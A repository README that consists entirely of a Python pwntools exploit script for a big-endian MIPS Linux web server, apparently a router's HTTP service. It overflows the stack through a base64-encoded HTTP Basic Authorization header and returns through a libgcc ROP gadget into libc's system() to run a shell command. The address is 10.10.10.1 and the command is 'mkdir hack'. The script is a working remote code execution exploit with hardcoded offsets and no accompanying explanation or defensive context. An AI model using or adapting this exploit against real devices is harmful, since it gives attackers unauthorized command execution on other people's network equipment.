README.md
Rendering markdown...
import socket
from pwn import *
import struct
import base64
libc = 0x77f2e000
libgcc = 0x77ee2000
gadget = 0x0000ABD0 + libgcc
system = 0x0002AC90 + libc
MAXSZ = 1024
# cmd = b"FUCK" * 50 # see how long our cmd can be
cmd = b"mkdir hack"
context(arch = "mips", endian = "big", os = "Linux", log_level = "DEBUG")
# fork 0x77f34d30
def exp():
print(f"[+] gadget is {hex(gadget)}")
print(f"[+] system is {hex(system)}")
payload = b'a:%s' %(b'A' * (0x4C - 2)) # padding + s0~s2
payload += p32(system) # s3 <- esp + 0x0c
payload += b'AAAA' # s4
payload += p32(gadget) # ra <- esp + 0x14
payload += b"BBBB"
payload += b"BBBB"
payload += b"BBBB"
payload += b"BBBB"
payload += b"BBBB"
payload += b"BBBB"
payload += cmd # <- esp + 0x30
header = b'GET / HTTP/1.1\r\n'
# header += b'Host: 127.0.0.1:80\r\n'
header += b'Host: 10.10.10.1:80\r\n'
header += b'Authorization: Basic %s\r\n' % base64.b64encode(payload)
header += b'User-Agent: Real UserAgent\r\n\r\n'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
iport = ("10.10.10.1" ,80)
# iport = ("127.0.0.1" ,80)
s.connect(iport)
s.send(header)
msg = s.recv(MAXSZ)
print("[+] Message is %s" %(msg))
s.close()
if __name__ == '__main__':
exp()